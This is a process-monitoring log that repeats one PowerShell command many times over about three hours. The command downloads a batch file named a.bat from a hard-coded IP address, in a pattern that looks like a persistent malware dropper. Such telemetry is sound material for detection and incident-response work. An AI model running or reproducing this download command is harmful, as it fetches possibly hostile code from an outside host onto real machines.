C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:38:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:40:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:40:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:42:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:43:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:45:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:45:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:47:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:48:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:50:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:50:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:52:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:53:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:55:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:55:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:57:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 14:58:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:00:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:00:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:02:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:03:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:05:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:05:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:07:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:08:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:10:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:10:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:12:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:13:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:15:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:15:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:17:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:18:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:20:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:20:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:23:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:23:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:25:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:25:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:28:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:28:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:30:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:30:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:33:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:33:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:35:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:35:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:38:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:38:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:40:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:40:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:43:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:43:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:45:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:46:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:48:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:48:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:50:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:51:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:53:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:53:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:55:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:56:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:58:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 15:58:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:00:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:01:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:03:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:03:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:05:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:06:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:08:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:08:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:10:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:11:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:13:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:13:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:15:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:16:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:18:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:18:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:20:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:21:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:23:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:23:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:26:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:26:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:28:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:28:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:31:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:31:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:33:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:33:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:36:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:36:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:38:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:38:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:41:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:41:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:43:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:43:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:46:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:46:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:48:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:48:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:51:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:51:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:53:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:54:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:56:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:56:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:58:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 16:59:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:01:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:01:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:03:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:04:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:06:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:06:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:08:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:09:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:11:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:11:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:13:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:14:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:16:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:16:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:18:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:19:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:21:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:21:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:23:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:24:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:26:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 17:26:45 NOTIFY: PROCESS 